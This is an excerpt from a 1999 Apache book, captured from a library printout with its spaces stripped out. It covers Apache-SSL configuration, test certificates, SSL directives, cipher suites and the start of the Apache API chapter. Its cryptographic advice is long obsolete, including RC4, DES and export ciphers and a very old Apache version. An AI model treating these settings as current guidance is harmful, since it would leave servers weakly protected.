#toberoot.
Port8887
Listen8887
Listen8888
#Mytestdocumentroot
DocumentRoot/usr/www/site.ssl/htdocs
<Directory/usr/www/site.ssl/htdocs/manual>
SSLRequireSSL
#ThisdirectiveprotectsadirectorybyforbiddingaccessexceptwhenSSLis
#inuse.Veryhandyfordefendingagainstconfigurationerrorsthatexpose
#stuffthatshouldbeprotected.
</Directory>
#Watchwhat'sgoingon.
TransferLoglogs/transfer_log
#NotethatallSSLoptionscanapplytovirtualhosts.
#DisableSSL.Usefulincombinationwithvirtualhosts.Notethat
#SSLEnableisnowalsosupported.
SSLDisable
#Setthepathfortheglobalcacheserverexecutable.
#Ifthisfacilitygivesyoutrouble,youcandisableitbysetting
#CACHE_SESSIONStoFALSEinapache_ssl.c
SSLCacheServerPath/usr/local/etc/apache/apache_1.3.1/src/modules/ssl/gcache
#Settheglobalcacheserverportnumberorpath.Ifitisapath,aUnix
#domainsocketisused.Ifanumber,aTCPsocket.
SSLCacheServerPortlogs/gcache_port
#Thenumbershouldeitherrefertoapathconsistingofadirectorythat
#existsandafilethatdoesn't,oranunusedTCP/IPport.
#Setthesessioncachetimeout,inseconds(setto15fortesting,usea
#highervalueinreallife).
SSLSessionCacheTimeout15
#SettheCAcertificateverificationpath(mustbePEMencoded).
#(inadditiontogetenv("SSL_CERT_DIR"),Ithink).
#(Notusedinthisexample)
#SSLCACertificatePath/usr/local/etc/apache/apache_1.3.1/SSLconf/conf
#SettheCAcertificateverificationfile(mustbePEMencoded).
#(inadditiontogetenv("SSL_CERT_FILE"),Ithink).
SSLCACertificateFile/usr/www/site.ssl/conf/thawte.cert
#PointSSLCertificateFileataPEMencodedcertificate.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page229
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
#Ifthecertificateisencrypted,thenyouwillbepromptedfora
#passphrase.Notethatakill1willpromptagain.
#Atestcertificatecanbegeneratedwith"makecertificate".
#Ifthekeyisnotcombinedwiththecertificate,usethisdirectiveto
#pointatthekeyfile.Ifthisstartswitha'/'itspecifiesanabsolute
#pathotherwise,itisrelativetothedefaultcertificatearea.Thatis,
#itmeans"<default>/private/<keyfile>".
#SSLCertificateKeyFile/some/place/with/your.key
#SetSSLVerifyClientto:
#0ifnocerticateisrequired.
#1iftheclientmaypresentavalidcertificate.
#2iftheclientmustpresentavalidcertificate.
#3iftheclientmaypresentavalidcertificatebutitisnotrequiredto
#haveavalidCA.
SSLVerifyClient0
#Howdeeplytoverifybeforedecidingtheydon'thaveavalidcertificate.
SSLVerifyDepth10
#TranslatetheclientX509intoaBasicauthorization.Thismeansthatthe
#standardAuth/DBMAuthmethodscanbeusedforaccesscontrol.Theusername
#isthe"oneline"versionoftheclient'sX509certificate.Notethatno
#passwordisobtainedfromtheuser.Everyentryintheuserfileneedsthis
#password:xxj31ZMTZzkVA.Seethecodeforfurtherexplanation.
SSLFakeBasicAuth
#Listtheciphersthattheclientispermittedtonegotiate.Seethesource
#foradefinitivelist.Forexample:
#SSLRequiredCiphersRC4MD5:RC4SHA:IDEACBCMD5:DESCBC3SHA
#Thesetwocanbeusedperdirectorytorequireorbanciphers.Notethat
#(atleastinthecurrentversion)ApacheSSLwillnotattemptto
#renegotiateifacipherisbanned(ornotrequired).
#SSLRequireCipher
#SSLBanCipher
#Customloggin
CustomLoglogs/ssl_log"%t%{version}c%{cipher}c%{clientcert}c"
<VirtualHost"target="_BLANK">www.butterthlies.com:8888>
SSLEnable
</VirtualHost>
ScriptAlias/scripts/usr/www/cgibin
Wehavechangedtheuserandgrouptowebuserandwebgroupinlinewithpracticethroughoutthebook.ThedefaultportforSSLis443,butherewegetareplay
ofportbasedvirtualhosting(seeChapter3,TowardaRealWebSite)sothatitiseasytocontrastthebehaviorofApachewith(port8888)andwithout(port8887)
SSL.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page230
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Remembertoeditgosoitinvokeshttpsd(thesecureversion)otherwise,ApachewillratherpuzzlinglyobjecttoallthenicenewSSLdirectives.Run./gointheusual
way.Apachestartsupandproducesamessage:
Readingcertificateandkeyforserverwww.butterthlies.com:8888
Thismessageshowsthattherightsortofthingishappening.Ifyouhadoptedforapassphrase,Apachewouldhaltforyoutotypeitin,andthemessagewouldremind
youwhichpassphrasetouse.However,inthiscasethereisn'tone,soApachestartsup.*Ontheclientside,logonto:
https://www.butterthlies.com:8888
rememberingthe''s"inhttps.It'sratherbizarrethattheclientisexpectedtoknowinadvancethatitisgoingtomeetanSSLserverandhastologonsecurely,but
that'sthewaytheWebis.However,inpracticeyouwouldusuallylogontoanunsecuredsitewithhttpandthenchooseorbesteeredtoalinkthatwouldsetyou
upautomaticallyforasecuretransaction.Ifyouforgetthe"s",variousthingscanhappen:
Youaremystifyinglytoldthatthepagecontainsnodata.
Yourbrowserhangs.
/site.ssl/logs/error_logcontainsthefollowingline:
SSL_Acceptfailederror:140760EB:SSLroutines:SSL23_GET_CLIENT_HELLO:unknownprotocol
Ifyoupasstheseperils,youfindthatNetscape'sproductliabilityteamhasbeenatwork,andyouaretakenthrougharigmaroleoflegalsafeguardsand"areyou
absolutelysure?"queriesbeforeyouarefinallypermittedtoviewthesecurepage.
WewererunningwithSSLVerifyClient0,soApachemadenoinquiryconcerningourcredibilityasaclient.Changeitto2,toforcetheclienttopresenta
validcertificate.Netscapenowsays:
NoUserCertificate
Thesite'www.butterthlies.com'hasrequestedclientauthentication,butyou
donothaveaPersonalCertificatetoauthenticateyourself.Thesitemay
choosenottogiveyouaccesswithoutone.
Oh,theshameofit.Thesimplewaytofixthissmirchistogetabetacertificatefromoneofthefollowingcompanies:
ThawteConsulting
http://www.thawte.com/certs/server/request.html
*LaterversionsofApachemaynotshowthismessageifapassphraseisnotrequired.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page231
CertiSignCertificadoraDigitalLtda.
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
http://www.certisign.com.br
IKSGmbH
http://www.iksjena.de/produkte/ca/
UptimeCommerceLtd.
http://www.uptimecommerce.com
BelSign
NV/SA
http://www.belsign.be
Logontooneofthesesites,andfollowtheinstructions.
IntheinterestsofEuropeanunitywechoseBelSignNV/SAfirstandtriedtodownloadtheirClass1DemoCertificate,lasting30days.BelSign'sowncertificatehad
expiredandtheprocessfailedinourexperience,thisisquiteusualwhendealingwith"secure"sitesandisanindicatorthatsecureebusinessisnotyetareality.
Hohum,tryIKSGmbH.TheytakethingsmoreseriouslyandtrytoexplainthewholecomplicatedbusinessinslightlyfracturedGermlish,butdon'tseemtooffera
freedemocertificate,sothatwasnogood.
TheattempttocontactUptimetimedout.
CertisignlivesinBrazilandislavishlydocumentedincommercialPortugueseinterestinginaway,butitdidn'tseemtoofferademocertificateeither.
FinallywefellbackonThawte,whodoofferademocertificatehowever,theyuseittotesttheirproceduresandyourunderstandingtothelimit.Youneedto
pasteyourCSRnew2.cert.csr(see"MakeaTestCertificate,"earlierinthischapter)intotheirformandthenchooseoneofanumberofoptions.Inourcase,we
thoughtweneededthe"PEMformat"becausethecertificateswegeneratedseemedtobePEMs.Butno.Wegotthefollowingerror:
CanonlygeneratePEMoutputfromPEMinput.
ThawtehasanApacheSSLhelppage,whichtellsusthatwhatApacheandSSLcall"PEM"filesareactuallynot.Whatweshouldhaveaskedforwasabase64
encodedX.509certificateinvokedbytheradiobuttononThawte'sformlabeled"themostbasicformat."ThistimeThawtediditsthingandpresentedapagewith
thecertificateonit:
BEGINCERTIFICATE
MIICXTCCAcYCAw9CQDANBgkqhkiG9w0BAQQFADBkRowGAYDVQQKExFUaGF3dGUg
Q29uc3VsdGluZzEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZp
c21vbjEcMBoGA1UEAxMTVGVzdCBTZXJ2ZXIgQOEgUm9vdDAeFw05ODA4MjgwOTM2
MzFaFw050DA5MjgwOTM2MzFaMIGHMQswCQYDVQQGEwJHQjEPMA0GA1UECBMGRG9y
c2VOMSEwHwYDVQQKExhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQxHTAbBgNVBAMT
FHd3dy5idXR0ZXJ0aGxpZXMuY29tMSUwIwYJKoZIhvcNAQkBFhZwZXRlckBhYmJv
dHNidXJ5LmNvLnVrMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDT1KRNwOwT
kCHkYqpJmXjlOU9pH4YZ7Koccwe87rAdDJ8NM5WTNa9VR4BEBWzFd34bGt6GpnlP
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page232
qBpZ8fBMgT7x5XQHlwXK32Itf7NZJJvFOOXBuA4i9C8VMVEUefTRFL8mZSFCmO3N
AlEnXvwjpF85c37pNDyYiPAU9iUa+nrKEQIDAQABMA0GCSqGSIB3DQEBBAUAA4GB
AJeufu9DTQw81941pnzW8UmTqGATmFxf01IwrN88bWS+I1YzhZZ0ZQQSs8IKVQPG
to38aaeSMeE7TauGdqs5+xvOQY8WrzrY4rbGliiW/H3kfMukOiRbiJAYXJepXhRJ
ezEln2v9E16dlF6T6LI0IXSzwJ2JsCTtD/IDkSgg9Tqo
ENDCERTIFICATE
Wecopiedthisasthawte.certto/site.ssl/conf.ThistriggeredchangesintheConfigfile:
SSLCACertificateFile/usr/www/site.ssl/conf/thawte.cert
SSLCertificateKeyFile/usr/www/site.ssl/conf/privkey.pem
Finally,wehadtochangethewayweranApachetocopewiththenewdemandforapassphrase.Thefilegobecame:
%httpsdd/usr/www/site.sslsleep10000
Whenweranit,wegotthefollowingmessage:
Readingcertificateandkeyforserverwww.butterthlies.com:8888
EnterPEMpassphrase:
YoutypeinyourpassphraseandthenhitCTRLCorDelete,dependingontheflavorofUnix,tokillsleep.
Whenwefinallyloggedontohttps://www.butterthlies.com:8888fromtheclient,wegotthefollowingencouragingmessage:
CertificateIsExpired
www.butterthlies.comisasitethatusesencryptiontoprotecttransmitted
information.HoweverthedigitalCertificatethatidentifiesthissiteisnot
yetvalid.Thismaybebecausethecertificatewasinstalledtoosoonbythe
siteadministrator,orbecausethedateonyourcomputeriswrong.
ThecertificateisvalidbeginningFriAug28,1998.
Yourcomputer'sdateissettoFriAug28,1998.Ifthisdateisincorrect,
thenyoushouldresetthedateonyourcomputer.
Youmaycontinueorcancelthisconnection.
Thismessagesuggested,inaperverseway,thatweweredoingsomethingright.Finally,becausewehadchangedSSLVerifyClientto2,theexchange
correctlyexpiredinacomplaintthattheclientdidn'thaveacertificate.
IfyoukillApacheinthetimehonoredway,makesurethatgcachedisappearstoo.TheversionofSSL(1.21)thatweusedtotestallthisleftgcachehangingandit
hadtobekilledbeforeApacheSSLwouldrestartproperly.Thesymptomwasamessageinerror_log:
[<date>]gcachestarted
bind:addressalreadyinuse
followedbyirrelevantcomplaintsabouttheprivatekeyfile.Ifthishappenswithlaterversions,pleasereportitasabug.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page233
ApacheSSL'sDirectives
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
ApacheSSL'sdirectivesfollow,withasmallsectionattheendofthechapterconcerningCGIs.
SSLDisable
SSLDisable
Serverconfig,virtualhost
DisableSSL.Thisdirectiveisusefulifyouwishtorunbothsecureandnonsecurehostsonthesameserver.Conversely,SSLcanbeenabledwithSSLEnable.
SSLEnable
SSLEnable
Serverconfig,virtualhost
EnableSSL.Thedefaultbutifyou'veusedSSLDisableinthemainserver,youcanenableSSLagainforvirtualhostsusingthisdirective.
SSLRequireSSL
SSLRequireSSL
Serverconfig,.htaccess,virtualhost,directory
RequireSSL.Thiscanbeusedin<Directory>sections(andelsewhere)toprotectagainstinadvertentlydisablingSSL.IfSSLisnotinusewhenthisdirective
applies,accesswillberefused.Thisisausefulbeltandsuspendersmeasureforcriticalinformation.
SSLCacheServerPath
SSLCacheServerPathComponent
Serverconfig
Thisdirectivespecifiesthepathtotheglobalcacheserver,gcache.Itcanbeabsoluteorrelativetotheserverroot.
SSLCacheServerRunDir
SSLCacheServerRunDirdirectory
Serverconfig
Setsthedirectoryinwhichgcacheruns,sothatitcanproducecoredumpsduringdebugging.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page234
SSLCacheServerPort
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
SSLCacheServerPortfile|port
Serverconfig
ThecacheservercanuseeitherTCP/IPorUnixdomainsockets.Ifthefileorportargumentisanumber,thenaTCP/IPportatthatnumberisusedotherwise,
itisassumedtobethepathtouseforaUnixdomainsocket.
SSLSessionCacheTimeout
SSLSessionCacheTimeouttime_in_seconds
Serverconfig,virtualhost
Asessionkeyisgeneratedwhenaclientconnectstotheserverforthefirsttime.Thisdirectivesetsthelengthoftimeinsecondsthatthesessionkeywillbecached
locally.Lowervaluesaresafer(anattackerthenhasalimitedtimetocrackthekeybeforeanewonewillbeused)butalsoslower,becausethekeywillbe
regeneratedateachtimeout.Ifclientcertificatesarebeingrequestedbytheserver,theywillalsoberequiredtoberepresentedateachtimeout.Formanypurposes,
timeoutsmeasuredinhoursareperfectlysafe,forexample:
SSLSessionCacheTimeout3600
SSLCACertificatePath
SSLCACertificatePathdirectory
Serverconfig,virtualhost
Thisdirectivespecifiesthepathtothedirectorywhereyoukeepthecertificatesofthecertificationauthoritieswhoseclientcertificatesyouarepreparedtoaccept.
TheymustbePEMencoded.
SSLCACertificateFile
SSLCACertificateFileComponent
Serverconfig,virtualhost
IfyouonlyacceptclientcertificatesfromasingleCA,thenyoucanusethisdirectiveinsteadofSSLCACertificatePathtospecifyasinglePEMencoded
(accordingtoSSLeay)certificatefile.
SSLCertificateFile
SSLCertificateFileComponent
Configoutside<Directory>or<Location>blocks
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page235
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
ThisisyourPEMencodedcertificate.Itisencodedwithdistinguishedencodingrules(DER),andisASCIIarmoredsoitwillgoovertheWeb.Ifthecertificateis
encrypted,youarepromptedforapassphrase.
SSLCertificateKeyFile
SSLCertificateKeyFileComponent
Configoutside<Directory>or<Location>blocks
ThisistheprivatekeyofyourPEMencodedcertificate.Ifthekeyisnotcombinedwiththecertificate,usethisdirectivetopointatthekeyfile.IftheComponent
startswith"/",itspecifiesanabsolutepathotherwise,itisrelativetothedefaultcertificatearea,whichiscurrentlydefinedbySSLeaytobe
either/usr/local/ssl/privateor<whereveryoutoldssltoinstall>/private.Examples:
SSLCertificateKeyFile/usr/local/apache/certs/my.server.key.pem
SSLCertificateKeyFilecerts/my.server.key.pem
SSLVerifyClient
SSLVerifyClientlevel
Default:0
Serverconfig,virtualhost
Thisdirectivedefineswhatyourequireofclients:
0Nocertificaterequired.
1Theclientmaypresentavalidcertificate.
2Theclientmustpresentavalidcertificate.
3Theclientmaypresentavalidcertificate,butnotnecessarilyfromacertificationauthorityforwhichtheserverholdsacertificate.
SSLVerifyDepth
SSLVerifyDepthdepth
Serverconfig,virtualhost
Inreallife,thecertificatewearedealingwithwasissuedbyaCA,whointurnreliedonanotherCAforvalidation,andsoon,backtoarootcertificate.Thisdirective
specifieshowfarupordownthechainwearepreparedtogobeforegivingup.Whathappenswhenwegiveupisdeterminedbythesettinggivento
SSLVerifyClient.Normally,youonlytrustcertificatessigneddirectlybyaCAyou'veauthorized,sothisshouldbesetto1.
SSLFakeBasicAuth
SSLFakeBasicAuth
Serverconfig,virtualhost
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page236
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
ThisdirectivemakesApachepretendthattheuserhasbeenloggedinusingbasicauthentication(seeChapter5,Authentication),exceptthatinsteadoftheusername
yougettheonelineX509,aversionoftheclient'scertificate.Ifyouswitchthison,alongwithSSLVerifyClient,youshouldseetheresultsinoneofthelogs.
Thecodeaddsapredefinedpassword.
CustomLog
CustomLognickname
Serverconfig,virtualhost
CustomLogisastandardApachedirective(seeChapter11,What'sGoingOn?)towhichApacheSSLaddssomeextracategoriesthatcanbelogged:
{cipher}c
Thenameofthecipherbeingusedforthisconnection.
{clientcert}c
Theonelineversionofthecertificatepresentedbytheclient.
{errcode}c
Iftheclientcertificateverificationfailed,thisistheSSLeayerrorcode.Inthecaseofsuccess,a""willbelogged.
{errstr}c
ThisistheSSLeaystringcorrespondingtotheerrorcode.
{version}c
TheversionofSSLbeingused.IfyouareusingSSLeayversionspriorto0.9.0,thenthisissimplyanumber:2forSSL2or3forSSL3.ForSSLeayversion0.9.0
andlater,itisastring,currentlyoneof"SSL2,""SSL3,"or"TLS1.''
SSLLogFile
Obsoletedonotuse.
CipherSuites
TheSSLprotocoldoesnotrestrictclientsandserverstoasingleencryptionbrewforthesecureexchangeofinformation.Thereareanumberofpossible
cryptographicingredients,butasinanycookpot,someingredientsgobettertogetherthanothers.TheseriouslyinterestedcanrefertoBruceSchneier'sApplied
Crytography(JohnWiley&Sons),inconjunctionwiththeSSLspecification(fromhttp://www.netscape.com/).ThelistofciphersuitesisintheSSLeaysoftwareat
/ssl/ssl.h.Themacronamesgiveabetterideaofwhatismeantthanthetextstrings.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page237
Keysize
Encrypted
Keysize
SSLeayname
Configname
SSL3_TXT_RSA_IDEA_128_SHA
IDEACBCSHA
128
128
SSL3_TXT_RSA_NULL_MD5
NULLMD5
SSL3_TXT_RSA_NULL_SHA
NULLSHA
SSL3_TXT_RSA_RC4_40_MD5
EXPRC4MD5
128
40
SSL3_TXT_RSA_RC4_128_MD5
RC4MD5
128
128
SSL3_TXT_RSA_RC4_128_SHA
RC4SHA
128
128
SSL3_TXT_RSA_RC2_40_MD5
EXPRC2CBCMD5
128
40
SSL3_TXT_RSA_IDEA_128_SHA
IDEACBCMD5
128
128
SSL3_TXT_RSA_DES_40_CBC_SHA
EXPDESCBCSHA
56
40
SSL3_TXT_RSA_DES_64_CBC_SHA
DESCBCSHA
56
56
SSL3_TXT_RSA_DES_192_CBC3_SHA
DESCBC3SHA
168
168
SSL3_TXT_DH_DSS_DES_40_CBC_SHA
EXPDHDSSDESCBCSHA
56
40
SSL3_TXT_DH_DSS_DES_64_CBC_SHA
DHDSSDESCBCSHA
56
56
SSL3_TXT_DH_DSS_DES_192_CBC3_SHA
DHDSSDESCBC3SHA
168
168
SSL3_TXT_DH_RSA_DES_40_CBC_SHA
EXPDHRSADESCBCSHA
56
40
SSL3_TXT_DH_DES_64_CBC_SHA
DHRSADESCBCSHA
56
56
SSL3_TXT_DH_RSA_DES_192_CBC3_SHA
DHRSADESCBC3SHA
168
168
SSL3_TXT_EDH_DSS_DES_40_CBC_SHA
EXPEDHDSSDESCBCSHA
56
40
SSL3_TXT_EDH_DSS_DES_64_CBC_SHA
EDHDSSDESCBCSHA
56
SSL3_TXT_EDH_DSS_DES_192_CBC3_SHA
EDHDSSDESCBC3SHA
168
168
SSL3_TXT_EDH_RSA_DES_40_CBC_SHA
EXPEDHRSADESCBC
56
40
SSL3_TXT_EDH_RSA_DES_64_CBC_SHA
EDHRSADESCBCSHA
56
56
SSL3_TXT_EDH_RSA_DES_192_CBC3_SHA
EDHRSADESCBC3SHA
168
168
SSL3_TXT_ADH_RC4_40_MD5
EXPADHRC4MD5
128
40
SSL3_TXT_ADH_RC4_128_MD5
ADHRC4MD5
128
128
SSL3_TXT_ADH_DES_40_CBC_SHA
EXPADHDESCBCSHA
128
40
SSL3_TXT_ADH_DES_64_CBC_SHA
ADHDESCBCSHA
56
56
SSL3_TXT_ADH_DES_192_CBC_SHA
ADHDESCBC3SHA
168
168
SSL3_TXT_RZA_DMS_NULL_SHA
FZANULLSHA
SSL3_TXT_FZA_DMS_RC4_SHA
FZARC4SHA
SSL2_TXT_DES_64_CFB64_WITH_MD5_1
DESCFBM1
56
56
SSL2_TXT_RC2_128_CBC_WITH_MD5
RC2CBCMD5
128
128
SSL2_TXT_DES_64_CBC_WITH_MD5
DESCBCMD5
56
56
128
128
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page238
Keysize
Encrypted
Keysize
SSLeayname
Configname
SSL2_TXT_DES_192_EDE3_CBC_
DESCBC3MD5
168
168
SSL2_TXT_RC4_64_WITH_MD5
RC464MD5
64
64
SSL2_TXT_NULL
NULL
Formostpurposes,thewebmasterdoesnothavetobotherwithallthis,butsomeofthefollowingdirectivesneedentriesfromthislist.
SSLRequiredCiphers
SSLRequiredCipherscipherlist
Serverconfig,virtualhost
Thisdirectivespecifiesacolonseparatedlistofciphersuites,usedbySSLeaytolimitwhattheclientendcando.Possiblesuitesarelistedintheprecedingsection.
Thisisaperserveroption
SSLRequiredCiphersRC4MD5:RC4SHA:IDEACBCMD5:DESCBC3SHA
SSLRequiredCipher
SSLRequireCiphercipherlist
Serverconfig,virtualhost,.htaccess,directory
Thisdirectivespecifiesaspaceseparatedlistofciphersuites,usedtoverifythecipheraftertheconnectionisestablished.Thisisaperdirectoryoption.
SSLBanCipher
SSLBanCipher<cipherlist>
Config,virtual,.htaccess,directory
Thisdirectivespecifiesaspaceseparatedlistofciphersuites,asperSSLRequireCipher,exceptitbansthem.Thelogicisasfollows:ifbanned,rejectif
required,acceptifnorequiredciphersarelisted,accept.Forexample:
SSLBanCipherNULLMD5NULLSHA
Itissensibletobanthesesuitesbecausetheyaretestsuitesthatactuallydonoencryption.
SSLandCGI
OnedirectiveaffectsthewritingofCGIs.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page239
SSLExportClientCertificates
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
SSLExportClientCertificates
Serverconfig,virtualhost,.htaccess,directory
ExportsclientcertificatesandthechainbehindthemtoCGIs.Thecertificatesarebase64encodedintheenvironmentvariablesSSL_CLIENT_CERTand
SSL_CLIENT_CERT_CHAIN_n,wherenrunsfrom1up.ThisdirectiveisonlyenabledifAPACHE_SSL_EXPORT_CERTSissettoTRUEin
/src/include/buff.h.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page240
14
TheApacheAPI
Apacheprovidesanapplicationprogramminginterface(API)tomodulesinordertoinsulatethemfromthemechanicsoftheHTTPprotocolandfromeachother.In
thischapter,weexplorethemainconceptsoftheAPIandprovideadetailedlistingofthefunctionsavailabletothemoduleauthor.
Pools
ThemostimportantthingtounderstandabouttheApacheAPIistheideaofapool.Thisisagroupedcollectionofresources(i.e.,filehandles,memory,child
programs,sockets,pipes,andsoon)thatarereleasedwhenthepoolisdestroyed.AlmostallresourcesusedwithinApacheresideinpools,andtheiruseshouldonly
beavoidedwithcarefulthought.
Aninterestingfeatureofpoolresourcesisthatmanyofthemcanbereleasedonlybydestroyingthepool.Poolsmaycontainsubpools,andsubpoolsmaycontain
subsubpools,andsoon.Whenapoolisdestroyed,allitssubpoolsaredestroyedwithit.
Naturallyenough,Apachecreatesapoolatstartup,fromwhichallotherpoolsarederived.Configurationinformationisheldinthispool(soitisdestroyedand
createdanewwhentheserverisrestartedwithakill).ThenextlevelofpooliscreatedforeachconnectionApachereceivesandisdestroyedattheendofthe
connection.Sinceaconnectioncanspanseveralrequests,anewpooliscreated(anddestroyed)foreachrequest.Intheprocessofhandlingarequest,various
modulescreatetheirownpools,andsomealsocreatesubrequests,whicharepushedthroughtheAPImachineryasiftheywererealrequests.Eachofthesepoolscan
beaccessedthroughthecorrespondingstructures(i.e.,theconnectstructure,therequeststructure,andsoon).
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page241
Withthisinmind,wecanmoreclearlystatewhenyoushouldnotuseapool:whenthelifetimeoftheresourceinquestiondoesnotmatchthelifetimeofapool.Ifyou
needtemporarystorage(orfiles,orwhatever),youcancreateasubpoolofaconvenientpool(therequestpoolisthemostlikelycandidate)anddestroyitwhenyou
aredone,sohavingalifetimethatisshorterthanthepool'sisnotnormallyagoodenoughexcuse.Theonlyexamplewecanthinkofwherethereisnoappropriate
poolisthecodeforhandlinglisteners(copy_listeners()andclose_unused_listeners()inhttp_main.c),whichhavealifetimelonger
thanthetopmostpool!
Thereareanumberofadvantagestothisapproach,themostobviousbeingthatmodulescanuseresourceswithouthavingtoworryaboutwhenandhowtorelease
them.ThisisparticularlyusefulwhenApachehandlesanerrorcondition.Itsimplybailsout,destroyingthepoolassociatedwiththeerroneousrequest,confidentthat
everythingwillbeneatlycleanedup.SinceeachinstanceofApachemayhandlemanyrequests,thisfunctionalityisvitaltothereliabilityoftheserver.Unsurprisingly,
poolscomeintoalmosteveryaspectofApache'sAPI,asweshallseeinthischapter.Theyaredefinedinalloc.h:
typedefstructpoolpool
Theactualdefinitionofstructpoolcanbefoundinalloc.c,butnomoduleshouldeverneedtouseit.Allmoduleseverseeofapoolisapointertoit,
whichtheythenhandontothepoolAPIs.
LikemanyotheraspectsofApache,poolsareconfigurable,inthesensethatyoucanaddyourownresourcemanagementtoapool,mainlybyregisteringcleanup
functions(seethepoolAPIlaterinthischapter).
PerServerConfiguration
SinceasingleinstanceofApachemaybecalledontohandlearequestforanyoftheconfiguredvirtualhosts(orthemainhost),astructureisdefinedthatholdsthe
informationrelatedtoeachhost.Thisstructure,server_rec,isdefinedinhttpd.h:
structserver_rec{
server_rec*next
/*Desctiptionofwherethedefinitioncamefrom*/
contchar*defn_name
unsigneddefn_line_number
/*Fulllocationsofserverconfiginto*/
char*srm_confname
char*access_confname
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page242
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
/*Contactinformation*/
char*server_admin
char*server_hostname
unsignedshortport/*Forredirects,etc.*/
/*Logfilesnotethattransferlogisnowinthemodules*/
char*error_fname
FILE*error_log
intloglevel
/*Modulespecificconfigurationforserver,anddefault*/
intis_virtual/*Trueifthisisthevirtualserver*/
void*module_config/*Configvectorcontainingpointerto
*modules'perserverconfigstructures.
*/
void*lookup_defaults/*MIMEtypeinfo,etc.,beforewestart
*checkingperdirectoryinfo.
*/
/*Transactionhandling*/
server_addr_rec*addrs
inttimeout/*Timeout,inseconds,beforewegiveup*/
intkeep_alive_timeout/*Secondwe'llwaitforanotherrequest*/
intkeep_alive_max/*Maximumrequestsperconnection*/
intkeep_alive/*Maximumrequestsperconnection*/
intsend_buffer_size/*SizeofTCPsendbuffer(inbytes)*/
